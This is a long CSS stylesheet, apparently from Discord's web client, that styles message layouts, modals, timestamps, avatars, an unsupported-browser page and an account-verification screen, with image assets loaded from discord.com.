.itemIcon-2uiN8Y { flex-shrink: 0; color: var(--interactive-normal); }

.label-ao0371 { margin: 24px 0px 8px; text-transform: uppercase; font-weight: 700; }

.warning-SY2Tmz { margin-bottom: 8px; }

.optionLabel-2JN_yw { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.optionText-21FkSI { margin-left: 16px; }

.notificationToggle-zeqZTa { margin-top: 24px; }

.notificationContent-21ijEh { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.tooltipIcon-2SIUw9 { margin-left: 4px; color: var(--interactive-active); }

.header-4nQN8z { margin: 24px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; }

.header-4nQN8z, .text-2l6Uxu { text-align: center; }

.text-2l6Uxu { margin-top: 8px; }

.container-1mkZhO { padding: 8px; }

.close-FHLsKu { position: absolute; right: 4px; top: 4px; color: var(--interactive-normal); cursor: pointer; }

.close-FHLsKu:hover { color: var(--interactive-hover); }

.iconContainer-3c67B1 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; background-color: var(--background-tertiary); border-radius: 50%; height: 64px; width: 64px; }

.icon-2cLasv { color: var(--header-primary); }

.text-ZcnKjD { text-align: center; }

.header-zZbYbi { margin-top: 24px; }

.body-3iVZMy { margin-top: 8px; }

.invite-3k78Zs { margin-top: 24px; }

.inviteDetail-12gL5a { margin-top: 8px; }

.cannon-3fbyaz { position: absolute; width: 100%; height: 100%; }

.inline-3uJr8Q { -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; flex-wrap: wrap; }

.footer-KjLvgM, .inline-3uJr8Q { display: flex; }

.footer-KjLvgM { -webkit-box-pack: justify; justify-content: space-between; }

.content-3w6Kuc { padding: 16px; }

.button-2KsXCc { margin-left: 8px; }

.cannon-12T-97 { position: absolute; width: 100%; height: 100%; z-index: 0; }

.actionButton-1V43zQ { margin-left: auto; }

.container-3cZwya { margin-bottom: 24px; }

.userContainer-32cBIE { padding: 16px; border: 1px solid var(--background-modifier-accent); border-radius: 8px; display: flex; -webkit-box-pack: justify; justify-content: space-between; }

.header-3ns4GU { color: var(--header-secondary); }

.description-12SKZc, .header-3ns4GU { margin-bottom: 8px; }

.userInfo-s8jI0Y { display: flex; -webkit-box-align: center; align-items: center; max-width: 80%; }

.avatar-2nXvoM { margin-right: 8px; flex-shrink: 0; }

.userName-2uZiLg { font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }

.container-Z1e__- { margin-bottom: 24px; }

.breadcrumbContainer-17YEk8 { display: flex; position: relative; }

.breadcrumbContainer-17YEk8:not(:last-child) { margin-bottom: 8px; }

.breadcrumbContainer-17YEk8:not(:last-child)::after { position: absolute; background-color: var(--background-tertiary); width: 2px; height: calc(100% + 4px); top: 0.5em; left: 1px; content: ""; z-index: -1; }

.breadcrumbDot-3eLOAX { margin-right: 8px; border-radius: 2px; width: 4px; height: 4px; background-color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); flex-shrink: 0; position: relative; top: 0.5em; }

.breadcrumbsHeader-mUTUau { margin-bottom: 8px; color: var(--header-secondary); }

.breadcrumbText-2ke9Y5 { overflow: hidden; display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: 2; }

.childButton-1YQj1L { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; cursor: pointer; margin-bottom: 8px; padding: 0px; border-radius: 4px; background-color: var(--background-secondary); min-height: 64px; }

.childButton-1YQj1L:hover { background-color: var(--background-modifier-hover); }

.keyboard-mode .childButton-1YQj1L:focus { background-color: var(--background-modifier-selected); }

.childButton-1YQj1L:active { background-color: var(--background-modifier-active); }

.childText-14xafo { -webkit-box-flex: 1; flex: 1 1 0%; margin: 8px 0px 8px 16px; font-weight: 600; }

.childIcon-Igk31A { color: var(--interactive-normal); width: 24px; height: 24px; flex-shrink: 0; margin: 0px 16px 0px 8px; }

.errorContainer-5JZJqd { position: sticky; bottom: 0px; left: 0px; right: 0px; background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); padding: 8px 32px 8px 8px; border-radius: 4px; display: flex; font-weight: 600; box-shadow: var(--elevation-high); }

.errorIcon-2Ju191 { color: rgb(255, 255, 255); margin-right: 8px; -webkit-box-flex: 0; flex-grow: 0; }

.closeIcon-3JDh8t { position: absolute; right: 8px; top: 8px; height: 16px; width: 16px; background: url("https://discord.com/assets/4d778f647fdb98bb77f6ebf5e2a5c188.svg") 50% 55% / 10px 10px no-repeat; cursor: pointer; color: rgb(255, 255, 255); opacity: 0.5; transition: opacity 0.2s ease 0s; }

.closeIcon-3JDh8t:hover { opacity: 1; }

.errorText-2qrOUj { color: rgb(255, 255, 255); }

.container-2ZLNwx { margin-bottom: 24px; }

.guildContainer-1_yUUm { padding: 16px; border: 1px solid var(--background-modifier-accent); border-radius: 8px; }

.header-J9BK8w { color: var(--header-secondary); text-transform: uppercase; }

.header-J9BK8w, .hubInfo-3nfsnU { margin-bottom: 8px; }

.hubInfo-3nfsnU { display: flex; -webkit-box-align: center; align-items: center; }

.hubIcon-iaf-pB { margin-right: 8px; }

.guildName-2jeHdI { font-weight: 600; }

.container-2slb75 { margin-bottom: 24px; }

.guildContainer-yOhTe3 { padding: 16px; border: 1px solid var(--background-modifier-accent); border-radius: 8px; }

.header-2R8yhi { margin-bottom: 8px; color: var(--header-secondary); }

.guildInfo-35_7kI { display: flex; -webkit-box-align: center; align-items: center; margin-bottom: 8px; }

.guildIcon-3tWmHC { margin-right: 8px; }

.channelTopic-2jPLUZ { font-weight: 600; }

.headerContainer-1_v1NT { padding: 0px 16px; text-align: center; }

.headerContainer-1_v1NT > :not(:last-child) { margin-bottom: 8px; }

.infoBox-3cF-U2 { margin-top: 16px; font-weight: 400; }

.wrapper-2NZy0S { margin-top: 4px; display: flex; -webkit-box-align: center; align-items: center; }

.icon-xnhh2x { display: block; margin-right: 8px; }

.errorIcon-1gpCtD { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.wrapper-2a6GCs { position: relative; overflow-wrap: break-word; user-select: text; -webkit-box-flex: 0; flex: 0 0 auto; padding-right: 16px; min-height: 1.375rem; }

.compact-T3H92H.wrapper-2a6GCs { padding-left: 5rem; }

.compact-T3H92H.wrapper-2a6GCs, .cozy-3raOZG.wrapper-2a6GCs { padding-top: 0.125rem; padding-bottom: 0.125rem; }

.cozy-3raOZG.wrapper-2a6GCs { padding-left: 72px; }

.repliedMessage-VokQwo { --reply-spacing:4px; color: var(--header-secondary); position: relative; white-space: pre; user-select: none; }

.executedCommand-2GE3w2, .repliedMessage-VokQwo, .threadMessageAccessory-1pYyA- { display: flex; -webkit-box-align: center; align-items: center; font-size: 0.875rem; line-height: 1.125rem; }

.executedCommand-2GE3w2, .threadMessageAccessory-1pYyA- { height: 18px; min-width: 0px; }

.repliedMessage-VokQwo.latin12CompactTimeStamp-38a8OU { --timestamp-width:2.25rem; }

.repliedMessage-VokQwo.latin24CompactTimeStamp-2V7XIQ { --timestamp-width:3.1rem; }

.repliedMessage-VokQwo.asianCompactTimeStamp-1K6-VB { --timestamp-width:4.25rem; }

.compact-T3H92H .repliedMessage-VokQwo { --text-indent:-4rem; margin-left: calc(var(--timestamp-width) + 0.25rem + var(--text-indent)); padding-left: 0.625rem; }

.cozy-3raOZG .repliedMessage-VokQwo { margin-bottom: var(--reply-spacing); }

.cozy-3raOZG .repliedMessage-VokQwo::before { --avatar-size:40px; --gutter:16px; }

.a11y-font-scaled-down .cozy-3raOZG .repliedMessage-VokQwo::before { --avatar-size:2.5rem; --wrapper-padding-left:4.5rem; --avatar-position-left:1rem; --gutter:calc(var(--wrapper-padding-left) - var(--avatar-position-left) - var(--avatar-size)); }

.compact-T3H92H .repliedMessage-VokQwo::before { --avatar-size:var(--timestamp-width); --gutter:0.25rem; }

.repliedMessage-VokQwo::before { --spine-width:2px; content: ""; display: block; position: absolute; box-sizing: border-box; top: 50%; right: 100%; bottom: 0px; left: calc(var(--avatar-size)/2*-1 + var(--gutter)*-1); margin-right: var(--reply-spacing); margin-top: calc(var(--spine-width)*-1/2); margin-left: calc(var(--spine-width)*-1/2); margin-bottom: calc(0.125rem - 4px); border-left: var(--spine-width) solid var(--background-accent); border-bottom: 0 solid var(--background-accent); border-right: 0 solid var(--background-accent); border-top: var(--spine-width) solid var(--background-accent); border-top-left-radius: 6px; }

.compact-T3H92H .repliedMessage-VokQwo::before { right: calc(100% - 0.625rem); }

.executedCommandAvatar-yZ5r9z, .replyAvatar-1K9Wmr, .replyBadge-r1su3o, .threadMessageAccessoryAvatar-2XWCxw { -webkit-box-flex: 0; flex: 0 0 auto; width: 16px; height: 16px; border-radius: 50%; user-select: none; margin-right: 0.25rem; }

.threadMessageAccessoryAvatar-2XWCxw { margin-right: 8px; }

.replyBadge-r1su3o { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; color: var(--header-secondary); background: var(--background-tertiary); }

.replyIcon-1b4Xjp { width: 10.8px; height: 7.2px; }

.userJoinSystemMessageIcon-1jNKMz { width: 12px; height: 12px; margin-right: 0.25rem; }

.commandIcon-SBYpgi { width: 5px; height: 9px; }

.executedCommand-2GE3w2 .applicationName-1-Uq7y, .executedCommand-2GE3w2 .commandName-1klrjB, .executedCommand-2GE3w2 .username-1A8OIy, .repliedMessage-VokQwo .username-1A8OIy, .threadMessageAccessory-1pYyA- .username-1A8OIy { flex-shrink: 0; font-size: inherit; line-height: inherit; margin-right: 0.25rem; opacity: 0.64; }

.executedCommand-2GE3w2 .applicationName-1-Uq7y, .executedCommand-2GE3w2 .commandName-1klrjB, .executedCommand-2GE3w2 .username-1A8OIy { margin-right: 0px; }

.executedCommand-2GE3w2 .botTag-1un5a6, .repliedMessage-VokQwo .botTag-1un5a6, .threadMessageAccessory-1pYyA- .botTag-1un5a6 { top: 0px; }

.executedCommand-2GE3w2 .commandName-1klrjB { font-weight: 500; color: var(--text-link); }

.executedCommand-2GE3w2 .applicationName-1-Uq7y { font-weight: 500; color: var(--header-primary); }

.repliedTextPreview-2NBljf, .threadMessageAccessoryPreview-1uSsue { -webkit-box-flex: 0; flex: 0 1 auto; overflow: hidden; text-overflow: ellipsis; }

.threadMessageAccessoryPreview-1uSsue { -webkit-box-align: center; align-items: center; display: flex; }

.repliedTextPreview-2NBljf.clickable-1bVtEA { cursor: pointer; }

.repliedTextPreview-2NBljf.clickable-1bVtEA:hover { color: var(--header-primary); }

.repliedMessage-VokQwo .repliedTextPreview-2NBljf .repliedTextContent-1R3vnK, .threadMessageAccessory-1pYyA- .threadMessageAccessoryPreview-1uSsue .threadMessageAccessoryContent-1LHM39 { color: inherit; font-size: inherit; line-height: inherit; white-space: pre; text-overflow: ellipsis; pointer-events: none; user-select: none; }

.repliedMessage-VokQwo .repliedTextPreview-2NBljf .repliedTextContent-1R3vnK code, .threadMessageAccessory-1pYyA- .threadMessageAccessoryPreview-1uSsue .threadMessageAccessoryContent-1LHM39 code { white-space: pre; }

.repliedTextPlaceholder-dmN7D1, .threadMessageAccessoryPlaceholder-2pTLxK { font-style: italic; padding-right: 2px; }

.repliedTextContentIcon-1ivTae, .threadMessageAccessoryContentIcon-1QAVEG { -webkit-box-flex: 0; flex: 0 0 auto; width: 20px; height: 20px; margin-left: 4px; }

.compact-T3H92H .contents-2mQqc9 { margin-left: -5rem; padding-left: 5rem; text-indent: -4rem; }

.cozy-3raOZG .contents-2mQqc9 { position: static; margin-left: 0px; padding-left: 0px; text-indent: 0px; }

.zalgo-jN1Ica.compact-T3H92H .messageContent-2qWWxC { overflow: hidden; }

.compact-T3H92H .header-23xsNx { display: inline; }

.cozy-3raOZG .header-23xsNx { display: block; position: relative; line-height: 1.375rem; min-height: 1.375rem; color: var(--text-muted); white-space: break-spaces; }

.zalgo-jN1Ica.cozy-3raOZG .header-23xsNx { overflow: hidden; }

.a11y-font-scaled-down .cozy-3raOZG.wrapper-2a6GCs, .a11y-font-scaled-down .cozy-3raOZG.wrapper-2a6GCs .header-23xsNx { padding-left: 4.5rem; }

.a11y-font-scaled-down .cozy-3raOZG .header-23xsNx { margin-left: -4.5rem; }

.buttonContainer-DHceWr { position: absolute; top: 0px; right: 0px; }

.systemMessageAccessories-2uCWxo { margin-left: 2.5rem; }

.avatar-1BDn8e { position: absolute; left: 16px; margin-top: calc(4px - 0.125rem); width: 40px; height: 40px; border-radius: 50%; overflow: hidden; cursor: pointer; user-select: none; -webkit-box-flex: 0; flex: 0 0 auto; pointer-events: none; z-index: 1; }

.a11y-font-scaled-down .avatar-1BDn8e { width: 2.5rem; height: 2.5rem; left: 1rem; margin-top: 0.125rem; }

.avatar-1BDn8e.clickable-1bVtEA { pointer-events: auto; }

.full-motion .avatar-1BDn8e.clickable-1bVtEA:hover { filter: drop-shadow(var(--elevation-medium)); }

.avatar-1BDn8e.clickable-1bVtEA:active { transform: translateY(1px); }

.roleIcon-6hK8aK { margin-left: 0.25rem; vertical-align: top; position: relative; top: 1px; height: calc(1rem + 4px); width: calc(1rem + 4px); }

.timestamp-3ZCmNB { display: inline-block; height: 1.25rem; cursor: default; pointer-events: none; font-weight: 500; }

.timestampInline-yHQ6fX { margin-left: 0.25rem; }

.timestamp-3ZCmNB.latin12CompactTimeStamp-38a8OU { width: 2.25rem; }

.timestamp-3ZCmNB.latin24CompactTimeStamp-2V7XIQ { width: 3.1rem; }

.timestamp-3ZCmNB.asianCompactTimeStamp-1K6-VB { width: 4.25rem; }

.mouse-mode .timestamp-3ZCmNB { pointer-events: auto; }

.cozy-3raOZG .timestamp-3ZCmNB { font-size: 0.75rem; line-height: 1.375rem; color: var(--text-muted); vertical-align: baseline; }

.background-opacity-high .cozy-3raOZG .timestamp-3ZCmNB, .background-opacity-low .cozy-3raOZG .timestamp-3ZCmNB, .background-opacity-medium .cozy-3raOZG .timestamp-3ZCmNB { display: none; }

.compact-T3H92H .timestamp-3ZCmNB, .cozy-3raOZG .timestamp-3ZCmNB.alt-1uNpEt { text-align: right; font-size: 0.6875rem; line-height: 1.375rem; margin-right: 0.25rem; color: var(--text-muted); text-indent: 0px; }

.cozy-3raOZG .timestamp-3ZCmNB.alt-1uNpEt { position: absolute; left: 0px; height: 1.375rem; line-height: 1.375rem; width: 56px; user-select: none; text-align: right; z-index: 1; }

.a11y-font-scaled-down .cozy-3raOZG .timestamp-3ZCmNB.alt-1uNpEt { width: 3.5rem; }

.a11y-font-scaled-up .cozy-3raOZG .timestamp-3ZCmNB.alt-1uNpEt { font-size: 12px; }

.background-opacity-high .compact-T3H92H .timestamp-3ZCmNB, .background-opacity-low .compact-T3H92H .timestamp-3ZCmNB, .background-opacity-medium .compact-T3H92H .timestamp-3ZCmNB { text-shadow: none; color: rgb(246, 246, 247); }

.timestampTooltip-2w2MVG { white-space: nowrap; max-width: none !important; }

.timestampVisibleOnHover-2bQeI4 { opacity: 0; }

.keyboard-mode .wrapper-2a6GCs:focus .timestampVisibleOnHover-2bQeI4, .mouse-mode .wrapper-2a6GCs:hover .timestampVisibleOnHover-2bQeI4 { opacity: 1; }

.username-1A8OIy { font-size: 1rem; font-weight: 500; line-height: 1.375rem; color: var(--header-primary); display: inline; vertical-align: baseline; position: relative; overflow: hidden; flex-shrink: 0; }

.compact-T3H92H .headerText-3Uvj1Y, .cozy-3raOZG .headerText-3Uvj1Y { margin-right: 0.25rem; }

.compact-T3H92H .headerText-3Uvj1Y.hasRoleIcon-1p-fAR, .cozy-3raOZG .headerText-3Uvj1Y.hasRoleIcon-1p-fAR { margin-right: 0px; }

.applicationName-1-Uq7y.clickable-1bVtEA:hover, .commandName-1klrjB.clickable-1bVtEA:hover, .username-1A8OIy.clickable-1bVtEA:hover { cursor: pointer; text-decoration: underline; }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .username-1A8OIy { font-weight: 600; }
}

.background-opacity-high .username-1A8OIy, .background-opacity-low .username-1A8OIy, .background-opacity-medium .username-1A8OIy { text-shadow: rgb(32, 34, 37) 0px 0px 1px, rgb(32, 34, 37) 1px 1px 0px; }

.background-opacity-low .username-1A8OIy, .background-opacity-medium .username-1A8OIy { font-weight: 600; }

.botTag-1un5a6 { position: relative; top: 0.1rem; }

.botTagCompact-29bCci { margin-right: 0.25rem; }

.botTagCozy-1fFsZk { margin-left: 0.25rem; }

.replyLink-nOQEG8 { color: var(--header-secondary); }

.replyLink-nOQEG8.clickable-1bVtEA { cursor: pointer; }

.replyLink-nOQEG8.clickable-1bVtEA:hover { text-decoration: underline; }

.separator-2nZzUB { position: absolute; opacity: 0; width: 0px; display: inline-block; font-style: normal; }

.messageEditorCompact-3Y64ly { margin-left: 5rem; margin-right: 16px; }

.messageContent-2qWWxC { text-indent: 0px; }

.cozy-3raOZG .messageContent-2qWWxC { position: relative; }

.cozy-3raOZG.hasThread-2k82W0::after { border-left: 2px solid var(--background-accent); border-bottom: 2px solid var(--background-accent); border-bottom-left-radius: 8px; bottom: 29px; content: ""; position: absolute; }

.font-size-24 .cozy-3raOZG.hasThread-2k82W0::after { width: 1.25rem; left: 1.5rem; top: 2rem; }

.font-size-20 .cozy-3raOZG.hasThread-2k82W0::after { width: 1.625rem; left: 1.75rem; top: 2.375rem; }

.font-size-18 .cozy-3raOZG.hasThread-2k82W0::after { width: 1.75rem; left: 2rem; top: 2.75rem; }

.font-size-12 .cozy-3raOZG.hasThread-2k82W0::after, .font-size-14 .cozy-3raOZG.hasThread-2k82W0::after, .font-size-15 .cozy-3raOZG.hasThread-2k82W0::after, .font-size-16 .cozy-3raOZG.hasThread-2k82W0::after { width: 2rem; left: 2.2rem; top: 3rem; }

.font-size-12 .cozy-3raOZG.hasThread-2k82W0.isSystemMessage-2MkNHd::after, .font-size-14 .cozy-3raOZG.hasThread-2k82W0.isSystemMessage-2MkNHd::after, .font-size-15 .cozy-3raOZG.hasThread-2k82W0.isSystemMessage-2MkNHd::after, .font-size-16 .cozy-3raOZG.hasThread-2k82W0.isSystemMessage-2MkNHd::after, .font-size-18 .cozy-3raOZG.hasThread-2k82W0.isSystemMessage-2MkNHd::after, .font-size-20 .cozy-3raOZG.hasThread-2k82W0.isSystemMessage-2MkNHd::after, .font-size-24 .cozy-3raOZG.hasThread-2k82W0.isSystemMessage-2MkNHd::after { top: 1.75rem; }

.font-size-24 .cozy-3raOZG.hasThread-2k82W0.hasReply-34In-r::after { top: 3.25rem; }

.font-size-20 .cozy-3raOZG.hasThread-2k82W0.hasReply-34In-r::after { top: 3.75rem; }

.font-size-18 .cozy-3raOZG.hasThread-2k82W0.hasReply-34In-r::after { top: 4rem; }

.font-size-15 .cozy-3raOZG.hasThread-2k82W0.hasReply-34In-r::after, .font-size-16 .cozy-3raOZG.hasThread-2k82W0.hasReply-34In-r::after { top: 4.375rem; }

.font-size-14 .cozy-3raOZG.hasThread-2k82W0.hasReply-34In-r::after { top: 4.5rem; }

.font-size-12 .cozy-3raOZG.hasThread-2k82W0.hasReply-34In-r::after { top: 4.75rem; }

.compact-T3H92H .contents-2mQqc9 { position: relative; }

.compact-T3H92H.hasThread-2k82W0 .contents-2mQqc9::before { background-color: var(--background-accent); bottom: 0px; content: ""; position: absolute; width: 2px; left: 2.5rem; top: 1.5rem; }

.compact-T3H92H.hasThread-2k82W0.isSystemMessage-2MkNHd .contents-2mQqc9::before { left: 3rem; top: 1.75rem; }

.zalgo-jN1Ica .messageContent-2qWWxC { overflow: hidden; }

.messageContent-2qWWxC:empty { display: none; }

.compact-T3H92H .messageContent-2qWWxC { user-select: text; display: inline; overflow-wrap: break-word; }

.compact-T3H92H .messageContent-2qWWxC .emoji { position: relative; }

.compact-T3H92H .messageContent-2qWWxC .emoji.jumboable { width: 1.375em; height: 1.375em; min-height: 1.375em; }

.compact-T3H92H .messageContent-2qWWxC.markupRtl-26VWXC { display: block; text-indent: 0px; }

.cozy-3raOZG .messageContent-2qWWxC { user-select: text; margin-left: -72px; padding-left: 72px; }

.isSending-9nvak6 { opacity: 0.5; }

.isFailed-2MPmD6, .isFailed-2MPmD6 .hljs, .isFailed-2MPmD6 a, .isFailed-2MPmD6 code.inline, .theme-dark .isFailed-2MPmD6, .theme-light .isFailed-2MPmD6 { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.cozy-3raOZG .markupRtl-26VWXC { text-align: left; text-indent: 0px; unicode-bidi: plaintext; }

.edited-3sfAzf { font-size: 0.625rem; font-weight: 400; line-height: 1; user-select: none; }

.mention { border-radius: 3px; padding: 0px 2px; }

.background-opacity-low .edited-3sfAzf { color: rgba(255, 255, 255, 0.6); }

.background-opacity-medium .edited-3sfAzf { color: rgba(255, 255, 255, 0.5); }

.background-opacity-high .edited-3sfAzf { color: rgba(255, 255, 255, 0.4); }

.messagePreviewContainer-2OThg1 { padding: 16px 16px 16px 0px; border: 1px solid var(--background-modifier-accent); border-radius: 8px; max-height: 100px; }

.messageScroller-UB6xyO { height: 100%; }

.container-vUkdGw { margin-bottom: 24px; }

.header-1AUqf5 { margin-bottom: 8px; color: var(--header-secondary); }

.attachmentIcon-28WkdW { width: 20px; height: 20px; color: var(--interactive-normal); }

.checkboxRow-1M3WZu:not(:last-child) { margin-bottom: 24px; }

.container-TWalHr { margin-bottom: 24px; }

.guildContainer-rLqRwd { padding: 16px; border: 1px solid var(--background-modifier-accent); border-radius: 8px; }

.header-1AvvVC { margin-bottom: 8px; color: var(--header-secondary); }

.guildInfo-TdcO_a { display: flex; -webkit-box-align: center; align-items: center; margin-bottom: 8px; }

.guildIcon-3DWgjd { margin-right: 8px; }

.channelTopic-JV8cRZ { font-weight: 600; }

.successImg-22YMZM { margin-bottom: 16px; height: 100px; width: 100px; }

.container-29TH31 { min-height: 240px; max-height: 660px; position: relative; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.closeButton-1i8QXa { position: absolute; top: 8px; right: 8px; z-index: 2; }

.header-23AbUh { padding: 32px 24px 16px; }

.body-3m34lL { padding: 8px 24px 16px; }

.root-3KobW4 { height: auto; min-height: 0px; }

.container-3cQiRq { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.contentContainer-1f7Gvv { padding-left: 0px; padding-right: 0px; background-color: var(--background-primary); min-height: 230px; max-height: 430px; }

.footer-3nL9rf { padding: 16px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-pack: end; justify-content: flex-end; background-color: var(--background-secondary); }

.unsupportedBrowser-3LZq46 { position: absolute; inset: 0px; background: rgb(27, 36, 43); text-align: center; }

.unsupportedBrowser-3LZq46, .wrap-Ep75jh { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.wrap-Ep75jh { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; min-width: 320px; overflow: auto; height: 100%; }

.title-3Lo6gh { font-weight: 700; font-size: 22px; color: rgb(255, 255, 255); margin: 50px 0px 10px; text-transform: uppercase; }

.message-3vjdjX, .title-3Lo6gh { flex-shrink: 0; }

.message-3vjdjX { font-weight: 500; margin: 0px auto 30px; line-height: 18px; max-width: 420px; font-size: 14px; padding: 0px 20px; color: rgb(148, 148, 148); }

.browserList-NdGOy7 { -webkit-box-pack: center; justify-content: center; margin-bottom: 50px; flex-wrap: wrap; display: flex; }

.browserItem-1mKMYK { padding: 20px; width: 188px; margin: 10px; border: 2px solid rgb(40, 47, 54); box-sizing: border-box; border-radius: 3px; transition: all 0.1s ease 0s; color: rgb(255, 255, 255); }

.browserItem-1mKMYK:hover { transform: scale(1.04); border-color: var(--brand-experiment); }

.browserItem-1mKMYK:hover .browser-3GMQyB { background-position-y: 100px; }

.browserItem-1mKMYK:hover .btn-3wPLTq { background-color: var(--brand-experiment); border-color: var(--brand-experiment); color: rgb(255, 255, 255); }

.browserItemText-1h58O0 { text-transform: uppercase; text-align: center; line-height: 1.5em; font-weight: 500; font-size: 12px; }

.browser-3GMQyB { display: inline-block; width: 100px; height: 100px; background: url("https://discord.com/assets/5d57632291e09c5bc2b5d6a0b20179fa.png") 0% 0% / 400px 200px; margin-bottom: 28px; }

.browserDiscord-mlswz3 { background-position-x: 0px; }

.browserOpera-3VgIwy { background-position-x: 100px; }

.browserFirefox-3rx2mR { background-position-x: 200px; }

.browserChrome-88x1sG { background-position-x: 300px; }

.btn-3wPLTq { margin-top: 28px; font-size: 16px; font-weight: 500; color: rgb(255, 255, 255); border: 1px solid rgb(40, 47, 54); display: block; padding: 10px; box-sizing: border-box; width: 100%; border-radius: 3px; transition: border 0.1s ease 0s, background-color 0.1s ease 0s; text-decoration: none; cursor: pointer; }

.btn-3wPLTq:active { position: relative; top: 1px; }

.theme-dark .btn-3wPLTq, .theme-light .btn-3wPLTq { background: transparent; }

.verifyConnectedAccount-3WFmtE { color: rgb(255, 255, 255); position: absolute; inset: 0px; background: url("https://discord.com/assets/d20e43cdcadf850cfd8d4e953df0f3b4.png") 0px 0px repeat rgb(40, 43, 48); }

.verifyConnectedAccount-3WFmtE, .verifyConnectedAccount-3WFmtE .logos-pt9vV6 { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.verifyConnectedAccount-3WFmtE .logos-pt9vV6 { margin-bottom: 95px; }

.verifyConnectedAccount-3WFmtE .logos-pt9vV6 .logosDivider-2K41nn { width: 28px; height: 28px; margin: 0px 37px; background-size: 28px 28px; background-image: url("https://discord.com/assets/a7d42e6f52d4e9f4d5be448d267cda8f.svg"); content: " "; display: inline-block; }

.verifyConnectedAccount-3WFmtE .logos-pt9vV6 .logo-TOCUPc { width: 88px; height: 88px; background-size: 88px 88px; }

.verifyConnectedAccount-3WFmtE .logos-pt9vV6 .logoDiscord-3MZDXD { background-image: url("https://discord.com/assets/d7dddb95a4f4478bd53f16f2549a28a3.svg"); }

.verifyConnectedAccount-3WFmtE .message-bWw5KR { text-align: center; font-size: 18px; }

.verifyConnectedAccount-3WFmtE .message-bWw5KR.error-2hdVlS { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.verifyConnectedAccount-3WFmtE .message-bWw5KR strong { font-weight: 700; }

.verifyConnectedAccount-3WFmtE .btn-3HQv6W { margin-top: 22px; width: 400px; height: 60px; transition: background-color 0.2s ease 0s; }

.verifyConnectedAccount-3WFmtE .btn-3HQv6W .spinnerItem-3hBt_K { background-color: rgb(255, 255, 255); opacity: 0.25; }

.verifyConnectedAccount-3WFmtE .btn-3HQv6W:disabled { cursor: not-allowed; background-color: rgb(47, 49, 54); opacity: 1; }

.wrapper-21YAQM { width: 500px; z-index: 1; }

.header-LyxrPy { width: 100%; display: -webkit-box; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.closeButton-O0hkB2 { position: absolute; top: 10px; right: 8px; z-index: 3; }

.resultWrapper-2g7r2D { box-sizing: border-box; border-radius: 3px; margin-right: 2px; margin-left: 8px; padding: 8px; height: 44px; color: rgb(185, 187, 190); font-size: 16px; }

.resultWrapperSelected-3v78W2 { color: rgb(255, 255, 255); background-color: rgba(79, 84, 92, 0.3); }

.result-2XuU55 { overflow: hidden; -webkit-box-flex: 1; flex: 1 1 0%; }

.resultAvatar-2lJWaG { margin-right: 10px; width: 30px !important; height: 30px !important; }

.resultIcon-9dYGgv { flex-shrink: 0; -webkit-box-flex: 0; flex-grow: 0; width: 30px; display: -webkit-box; opacity: 0.6; }

.resultIconBackground-ar9sVF { opacity: 0.6; }

.resultText-LZCb11 { font-weight: 500; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; -webkit-box-flex: 1; flex: 1 1 0%; margin-right: 16px; }

.resultUsername-1oWpSm { margin-left: 4px; opacity: 0.5; font-weight: 300; }

.resultCategoryName-Heu4ue { font-size: 10px; text-transform: uppercase; line-height: 16px; }

.resultCategoryName-Heu4ue, .resultGuildName-1dxVR3 { margin-left: 4px; opacity: 0.5; font-weight: 500; }

.resultGuildName-1dxVR3 { font-size: 14px; margin-right: 10px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.inviteButton-MGrg8b { width: 72px; height: 32px; transition: unset; -webkit-box-flex: 0; flex: 0 0 auto; }

.results-3TZ2t8 { height: 300px; }

.noResults-3LFG4E { width: 100%; background: url("https://discord.com/assets/e61baf173edfbd88037ecdd2c793834e.svg") 50% 40% no-repeat; }

.container-347Bj6 { text-align: center; margin-top: 16px; margin-bottom: 16px; }

.title-2QMS5Z { margin-bottom: 8px; }

.img-13DOg9 { width: 149px; height: 83px; }

.birthday-1a5GTD, .confirmContainer-26aFKb, .img-13DOg9 { margin-bottom: 16px; }

.confirmContainer-26aFKb { text-align: center; margin-top: 24px; }

.confirmTitle-2NBYVn { margin-bottom: 8px; }

.confirmFooter-3qlQIM { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: justify; justify-content: space-between; }

.container-W_-I6J { text-align: center; margin-top: 16px; }

.title-3Bn9Ug { margin-bottom: 8px; }

.img-32j92f, .subtitle-3Sv-2Y { margin-bottom: 16px; }

.img-32j92f { width: 252px; height: 168px; }

.container-aP5JfW { text-align: center; margin-top: 16px; }

.title-9DQOZZ { margin-bottom: 8px; }

.img-3KRB1J, .subtitle-3GNI_g { margin-bottom: 16px; }

.img-3KRB1J { width: 113px; height: 94px; }

